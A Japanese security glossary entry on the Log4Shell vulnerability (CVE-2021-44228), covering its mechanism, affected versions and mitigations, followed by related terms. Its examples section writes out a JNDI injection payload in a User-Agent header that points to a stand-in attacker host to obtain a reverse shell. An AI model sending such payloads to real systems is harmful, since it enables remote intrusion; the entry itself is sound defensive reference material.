脆弱性
Log4Shell (CVE-2021-44228)
別称: CVE-2021-44228, Log4j 脆弱性
定義
2021 年 12 月に公表された Apache Log4j 2 の致命的なリモートコード実行脆弱性。ログに JNDI ルックアップ文字列が記録されただけで攻撃が成立した。
Log4Shell は Apache Log4j 2(2.0-beta9 〜 2.14.1)に存在する CVSS 10.0 の脆弱性で、2021 年 12 月に公表されました。Log4j のメッセージルックアップ機能が ${jndi:ldap://...} のような文字列をログメッセージ内で評価し、JVM がリモートの Java クラスを取得・デシリアライズすることで RCE が成立しました。Log4j は無数の Java アプリやアプライアンスに組み込まれているため、ログに到達する入力(User-Agent、検索フィールド、ファイル名など)が攻撃ベクトルになりました。これにより世界的な緊急パッチ対応が発生し、最も多用されたゼロデイの一つとなりました。対策には、Log4j を 2.17.1+ に更新、JNDI ルックアップの無効化、外向き通信のブロック、SBOM による影響範囲特定が含まれます。
例
- Java Web アプリへ User-Agent: ${jndi:ldap://attacker.com/x} を送り、リバースシェルを取得する。
- ユーザー名フィールドへ悪意ある値を入れ、ログ経由で内部 Java サービスを侵害する。
関連用語
CVE(共通脆弱性識別子)
公開された各ソフトウェア・ハードウェア脆弱性に一意の識別子を付与し、業界全体で曖昧さなく参照できるようにする公的カタログ。
ゼロデイ脆弱性
発見または悪用された時点でベンダーが未認知、あるいはパッチがまだ存在しないセキュリティ上の欠陥。
安全でないデシリアライゼーション
アプリが信頼できないデータをデシリアライズすることで、攻撃者が任意オブジェクトを生成し、しばしばリモートコード実行に至る脆弱性。
サプライチェーン攻撃
信頼されたサードパーティのソフトウェア・ハードウェア・サービス提供者を侵害し、その下流顧客に到達する攻撃。
エクスプロイト
脆弱性を悪用して、コード実行・権限昇格・情報漏えいなど意図しない動作を引き起こすコード、データ、または手法。
既知の悪用された脆弱性(KEV)
実環境での悪用が CISA(米国)によって確認され、公開 KEV カタログに追加された CVE。米連邦機関に対する修正期限の対象となる。